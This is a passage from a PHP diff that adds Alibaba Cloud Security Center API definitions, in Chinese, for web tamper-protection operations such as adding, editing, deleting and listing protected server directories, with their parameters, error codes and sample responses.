=> 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '要删除的防护目录的ID。'."\n" + .'> 您可以调用[DescribeWebLockConfigList](~~DescribeWebLockConfigList~~)接口获取防护目录的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '12', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要删除防护目录的服务器的UUID。'."\n" + .'> 您可以调用[DescribeWebLockConfigList](~~DescribeWebLockConfigList~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '7f7fe9a2-55de-4b9d-a37a-0d981d36****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '删除指定服务器的防护目录返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '299D0992-271A-5750-ACEB-46D322862BFF', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DefenceAtLeastOneConfig', + 'errorMessage' => 'At least one protection directory is needed.', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"299D0992-271A-5750-ACEB-46D322862BFF\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 299D0992-271A-5750-ACEB-46D322862BFF\\n","errorExample":""}]', + 'title' => '删除指定服务器的防护目录', + 'description' => '删除服务器的防护目录后，防篡改将不会再防护该目录下的文件，您服务器对应的网站信息有可能会被恶意篡改，建议您谨慎操作。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyWebLockCreateConfig' => [ + 'summary' => '为指定服务器添加防护目录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92400', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + 'tenantRelevance' => 'tenant', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '39.170.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要添加防护目录的服务器的UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-12345****', + ], + ], + [ + 'name' => 'Dir', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护目录。', + 'type' => 'string', + 'required' => true, + 'example' => '/home/admin/tomcat', + ], + ], + [ + 'name' => 'ExclusiveDir', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需网页防篡改防护的目录地址（即排除目录）。'."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/test', + ], + ], + [ + 'name' => 'ExclusiveFileType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需网页防篡改防护的文件类型（即排除文件的类型）。存在多个文件类型时，使用分号（;）分隔。取值：'."\n" + .'- php'."\n" + .'- jsp'."\n" + .'- asp'."\n" + .'- aspx'."\n" + .'- js'."\n" + .'- cgi'."\n" + .'- html'."\n" + .'- htm'."\n" + .'- xml'."\n" + .'- shtml'."\n" + .'- shtm'."\n" + .'- jpg'."\n" + .'- gif'."\n" + .'- png'."\n" + ."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'jpg', + ], + ], + [ + 'name' => 'LocalBackupDir', + 'in' => 'query', + 'schema' => [ + 'description' => '本地备份路径，用于防护目录的安全备份。', + 'type' => 'string', + 'required' => true, + 'example' => '/usr/local/backup', + ], + ], + [ + 'name' => 'Mode', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护目录模式。取值：'."\n" + .'- **whitelist**：白名单模式，对添加的防护目录和文件类型进行保护。'."\n" + .'- **blacklist**：黑名单模式，对添加的防护目录下所有未排除的子目录、文件类型和指定文件进行保护。', + 'type' => 'string', + 'required' => false, + 'example' => 'whitelist', + ], + ], + [ + 'name' => 'InclusiveFileType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要网页防篡改防护的文件类型。存在多个文件类型时，使用分号（;）分隔。取值：'."\n" + .'- php'."\n" + .'- jsp'."\n" + .'- asp'."\n" + .'- aspx'."\n" + .'- js'."\n" + .'- cgi'."\n" + .'- html'."\n" + .'- htm'."\n" + .'- xml'."\n" + .'- shtml'."\n" + .'- shtm'."\n" + .'- jpg'."\n" + .'- gif'."\n" + .'- png'."\n" + ."\n" + .'> 防护模式**Mode**配置为**whitelist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'jpg', + ], + ], + [ + 'name' => 'ExclusiveFile', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需开启网页防篡改防护的文件（即排除文件）。'."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/apache.log', + ], + ], + [ + 'name' => 'InclusiveFile', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要防护的文件。'."\n" + .'> 防护模式**Mode**配置为**whitelist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/test.log', + ], + ], + [ + 'name' => 'DefenceMode', + 'in' => 'query', + 'schema' => [ + 'description' => '防护模式。取值：'."\n" + ."\n" + .'- **block**：拦截'."\n" + .'- **audit**：告警', + 'type' => 'string', + 'required' => true, + 'example' => 'block', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', + ], + 'ConfigId' => [ + 'description' => '防护目录配置的ID。', + 'type' => 'string', + 'example' => '1404656', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'DuplicatedDirectory', + 'errorMessage' => 'Duplicated directory', + ], + [ + 'errorCode' => 'BeyondConfLimit', + 'errorMessage' => 'Beyond maxim protect directory count.', + ], + [ + 'errorCode' => 'ParentOrSubDirectoryProtected', + 'errorMessage' => 'Parent or child directories have been protected.', + ], + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\",\\n \\"ConfigId\\": \\"1404656\\"\\n}","type":"json"}]', + 'title' => '为指定服务器添加防护目录', + ], + 'ModifyWebLockUpdateConfig' => [ + 'summary' => '编辑指定服务器的防护策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92407', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + 'tenantRelevance' => 'tenant', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '36.112.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要修改的防护目录配置的ID。'."\n" + .'> 您可以调用[DescribeWebLockConfigList](~~DescribeWebLockConfigList~~)接口获取防护目录的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '312077', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要修改防护目录的服务器的UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + ], + [ + 'name' => 'Dir', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护目录，即需要防护的目录的完整路径。', + 'type' => 'string', + 'required' => true, + 'example' => '/home/admin/tomcat', + ], + ], + [ + 'name' => 'ExclusiveDir', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需网页防篡改防护的目录地址（即排除目录）。'."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/test', + ], + ], + [ + 'name' => 'ExclusiveFileType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需网页防篡改防护的文件类型（即排除文件的类型）。存在多个文件类型时，使用半角分号（;）隔开。取值：'."\n" + .'- php'."\n" + .'- jsp'."\n" + .'- asp'."\n" + .'- aspx'."\n" + .'- js'."\n" + .'- cgi'."\n" + .'- html'."\n" + .'- htm'."\n" + .'- xml'."\n" + .'- shtml'."\n" + .'- shtm'."\n" + .'- jpg'."\n" + .'- gif'."\n" + .'- png'."\n" + ."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'jpg', + ], + ], + [ + 'name' => 'LocalBackupDir', + 'in' => 'query', + 'schema' => [ + 'description' => '指定本地备份路径，用于对防护目录进行安全备份。 '."\n" + .'Linux服务器和Windows服务器防护目录地址的格式可能会有区别，请您确保输入正确的格式。您可以参考以下目录格式：'."\n" + .' - Linux服务器：/usr/local/aegis/bak'."\n" + .' - Windows服务器：C:\\Program Files (x86)\\Alibaba\\Aegis\\bak', + 'type' => 'string', + 'required' => true, + 'example' => '/usr/local/backup', + ], + ], + [ + 'name' => 'Mode', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护模式。取值：'."\n" + .'- **whitelist**：白名单模式，对添加的防护目录和文件类型进行保护。'."\n" + .'- **blacklist**：黑名单模式，对添加的防护目录下所有未排除的子目录、文件类型和指定文件进行保护。', + 'type' => 'string', + 'required' => false, + 'example' => 'blacklist', + ], + ], + [ + 'name' => 'InclusiveFileType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要网页防篡改防护的文件类型。存在多个文件类型时，使用半角分号（;）隔开。取值：'."\n" + .'- php'."\n" + .'- jsp'."\n" + .'- asp'."\n" + .'- aspx'."\n" + .'- js'."\n" + .'- cgi'."\n" + .'- html'."\n" + .'- htm'."\n" + .'- xml'."\n" + .'- shtml'."\n" + .'- shtm'."\n" + .'- jpg'."\n" + .'- gif'."\n" + .'- png'."\n" + ."\n" + .'> 防护模式**Mode**配置为**whitelist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'jpg', + ], + ], + [ + 'name' => 'ExclusiveFile', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需开启网页防篡改防护的文件（即排除文件）。'."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/apache.log', + ], + ], + [ + 'name' => 'InclusiveFile', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要防护的文件。'."\n" + .'> 防护模式**Mode**配置为**whitelist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/test.log', + ], + ], + [ + 'name' => 'DefenceMode', + 'in' => 'query', + 'schema' => [ + 'description' => '防护模式。取值：'."\n" + ."\n" + .'- **block**：拦截'."\n" + .'- **audit**：告警'."\n", + 'type' => 'string', + 'required' => true, + 'example' => 'block', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DuplicatedDirectory', + 'errorMessage' => 'Duplicated directory', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + [ + 'errorCode' => 'ParentOrSubDirectoryProtected', + 'errorMessage' => 'Parent or child directories have been protected.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RpcServiceError', + 'errorMessage' => 'The internal service invocation is abnormal.', + ], + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\"\\n}","type":"json"}]', + 'title' => '编辑指定服务器的防护策略', + ], + 'ModifyWebLockStart' => [ + 'summary' => '为指定服务器创建网页防篡改保护并开启防护。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92404', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'Mode', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护类型。取值：'."\n" + .'- **whitelist**：白名单模式，对添加的防护目录和文件类型进行保护。'."\n" + .'- **blacklist**：黑名单模式，对添加的防护目录下所有未排除的子目录、文件类型和指定文件进行保护。', + 'type' => 'string', + 'required' => true, + 'example' => 'whitelist', + ], + ], + [ + 'name' => 'LocalBackupDir', + 'in' => 'query', + 'schema' => [ + 'description' => '配置本地备份路径，用于对防护目录进行安全备份。 '."\n" + .'Linux服务器和Windows服务器防护目录地址的格式可能会有区别，请您确保输入正确的格式。您可以参考以下目录格式：'."\n" + .' - Linux服务器：/usr/local/aegis/bak'."\n" + .' - Windows服务器：C:\\Program Files (x86)\\Alibaba\\Aegis\\bak', + 'type' => 'string', + 'required' => true, + 'example' => '/usr/local/backup', + ], + ], + [ + 'name' => 'ExclusiveFile', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需开启网页防篡改防护的文件（即排除文件）。'."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/tomcat/localhost.log', + ], + ], + [ + 'name' => 'Dir', + 'in' => 'query', + 'schema' => [ + 'description' => '指定防护目录，存在多个时用英文逗号（,）分隔。', + 'type' => 'string', + 'required' => true, + 'example' => '/home/admin/tomcat', + ], + ], + [ + 'name' => 'InclusiveFileType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要网页防篡改防护的文件类型。存在多个文件类型时，使用半角分号（;）隔开。取值：'."\n" + .'- php'."\n" + .'- jsp'."\n" + .'- asp'."\n" + .'- aspx'."\n" + .'- js'."\n" + .'- cgi'."\n" + .'- html'."\n" + .'- htm'."\n" + .'- xml'."\n" + .'- shtml'."\n" + .'- shtm'."\n" + .'- jpg'."\n" + .'- gif'."\n" + .'- png'."\n" + ."\n" + .'> 防护模式**Mode**配置为**whitelist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'php', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要防护的服务器UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '80d2f7d6-31a9-4d7f-8ff4-7ecc42f89ca****', + ], + ], + [ + 'name' => 'ExclusiveFileType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需网页防篡改防护的文件类型（即排除文件的类型）。存在多个文件类型时，使用半角分号（;）隔开。取值：'."\n" + .'- php'."\n" + .'- jsp'."\n" + .'- asp'."\n" + .'- aspx'."\n" + .'- js'."\n" + .'- cgi'."\n" + .'- html'."\n" + .'- htm'."\n" + .'- xml'."\n" + .'- shtml'."\n" + .'- shtm'."\n" + .'- jpg'."\n" + .'- gif'."\n" + .'- png'."\n" + ."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'jpg', + ], + ], + [ + 'name' => 'ExclusiveDir', + 'in' => 'query', + 'schema' => [ + 'description' => '指定无需网页防篡改防护的目录地址（即排除目录）。'."\n" + .'> 防护模式**Mode**配置为**blacklist**时，您需要配置该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/java', + ], + ], + [ + 'name' => 'DefenceMode', + 'in' => 'query', + 'schema' => [ + 'description' => '防护模式。取值：'."\n" + ."\n" + .'- **block**：拦截'."\n" + .'- **audit**：告警', + 'type' => 'string', + 'required' => true, + 'example' => 'block', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'DuplicatedDirectory', + 'errorMessage' => 'Duplicated directory', + ], + [ + 'errorCode' => 'NeedBuy', + 'errorMessage' => 'This service shoule be purchased first.', + ], + [ + 'errorCode' => 'DefenceEmptyConfig', + 'errorMessage' => 'At least one protection directory is needed.', + ], + [ + 'errorCode' => 'DefenceAuthLimit', + 'errorMessage' => 'The number of machines has reached the upper limit.', + ], + [ + 'errorCode' => 'BindDataExist', + 'errorMessage' => 'The binding data already exists.', + ], + [ + 'errorCode' => 'MissingDir', + 'errorMessage' => 'Dir is mandatory for this action.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\"\\n}","type":"json"}]', + 'title' => '为服务器创建网页防篡改保护并开启防护', + ], + 'DescribeWebLockConfigList' => [ + 'summary' => '查询指定服务器的网页防篡改防护配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92254', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '123.24.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询防护配置的服务器的UUID。'."\n" + .'>您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口可以获取该参数', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-1234567****', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '防护目录配置的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1404656', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '该服务器已配置网页防篡改防护目录的总数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。'."\n", + 'type' => 'string', + 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', + ], + 'ConfigList' => [ + 'description' => '网页防篡改防护配置列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '网页防篡改防护配置信息。', + 'type' => 'object', + 'properties' => [ + 'ExclusiveDir' => [ + 'description' => '防篡改保护排除的目录。'."\n" + .'> 防护模式**Mode**为**blacklist**时，会返回该参数。', + 'type' => 'string', + 'example' => '/home/admin/tomcat', + ], + 'Uuid' => [ + 'description' => '防篡改防护的服务器的UUID。', + 'type' => 'string', + 'example' => '80d2f7d6-31a9-4d7f-8ff4-7ecc42f8****', + ], + 'InclusiveFileType' => [ + 'description' => '防篡改要防护的文件类型。'."\n" + .'> 防护模式**Mode**为**whitelist**时，会返回该参数。', + 'type' => 'string', + 'example' => 'jpg', + ], + 'DefenceMode' => [ + 'description' => '防护模式。取值：'."\n" + ."\n" + .'- **block**：拦截'."\n" + .'- **audit**：告警', + 'type' => 'string', + 'example' => 'audit', + ], + 'ExclusiveFileType' => [ + 'description' => '防篡改保护排除文件的类型。'."\n" + .'> 防护模式**Mode**为**blacklist**时，会返回该参数。', + 'type' => 'string', + 'example' => '*.jpg', + ], + 'InclusiveFile' => [ + 'description' => '防篡改防护的文件。'."\n" + .'> 防护模式**Mode**为**whitelist**时，会返回该参数。', + 'type' => 'string', + 'example' => '/home/admin/tomcat/aaa.log', + ], + 'Mode' => [ + 'description' => '网页防篡改的防护模式。取值：'."\n" + .'- **whitelist**：白名单模式，会对添加的防护目录和文件类型进行保护。'."\n" + .'- **blacklist**：黑名单模式，会对添加的防护目录下所有未排除的子目录、文件类型和指定文件进行保护。', + 'type' => 'string', + 'example' => 'blacklist', + ], + 'Dir' => [ + 'description' => '网页防篡改防护目录。'."\n", + 'type' => 'string', + 'example' => '/www/tmp/', + ], + 'ExclusiveFile' => [ + 'description' => '防篡改保护排除的文件。'."\n" + .'> 防护模式**Mode**为**blacklist**时，会返回该参数。', + 'type' => 'string', + 'example' => '/home/admin/tomcat/localhost.log', + ], + 'Id' => [ + 'description' => '防护目录配置的ID。', + 'type' => 'string', + 'example' => '11', + ], + 'LocalBackupDir' => [ + 'description' => '本地备份路径，用于对防护目录进行安全备份。', + 'type' => 'string', + 'example' => '/usr/local/backup', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'InternalError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"TotalCount\\": 1,\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\",\\n \\"ConfigList\\": [\\n {\\n \\"ExclusiveDir\\": \\"/home/admin/tomcat\\",\\n \\"Uuid\\": \\"80d2f7d6-31a9-4d7f-8ff4-7ecc42f8****\\",\\n \\"InclusiveFileType\\": \\"jpg\\",\\n \\"DefenceMode\\": \\"audit\\",\\n \\"ExclusiveFileType\\": \\"*.jpg\\",\\n \\"InclusiveFile\\": \\"/home/admin/tomcat/aaa.log\\",\\n \\"Mode\\": \\"blacklist\\",\\n \\"Dir\\": \\"/www/tmp/\\",\\n \\"ExclusiveFile\\": \\"/home/admin/tomcat/localhost.log\\",\\n \\"Id\\": \\"11\\",\\n \\"LocalBackupDir\\": \\"/usr/local/backup\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n EB7BD248-FBD6-4378-B244-0C9FB299BCBC\\n \\n php;jsp;asp;aspx;js;cgi;html;htm;xml;shtml;shtm;jpg;gif;png\\n \\n 80d2f7d6-31a9-4d7f-8ff4-7ecc42f8****\\n \\n whitelist\\n /usr/local/aegis/bak\\n \\n 9312\\n /www/tmp/\\n \\n \\n","errorExample":""}]', + 'title' => '查询指定服务器的网页防篡改防护配置', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeWebLockBindList' => [ + 'summary' => '获取已添加网页防篡改防护的服务器的列表信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92253', + 'abilityTreeNodes' => [ + 'FEATUREsas4GT4R7', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '116.30.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器的模糊匹配字段，可以是服务器名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要查看的服务器的防护状态。取值：'."\n" + .'- **on**：已开启防护。'."\n" + .'- **off**：已关闭防护。', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的UUID。'."\n" + .'> 您可调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '7151f27e-1d51-4e98-a540-8936a****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '网页防篡改绑定的服务器总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11409', + ], + 'BindList' => [ + 'description' => '已添加网页防篡改防护的服务器信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '已添加网页防篡改防护的服务器信息。', + 'type' => 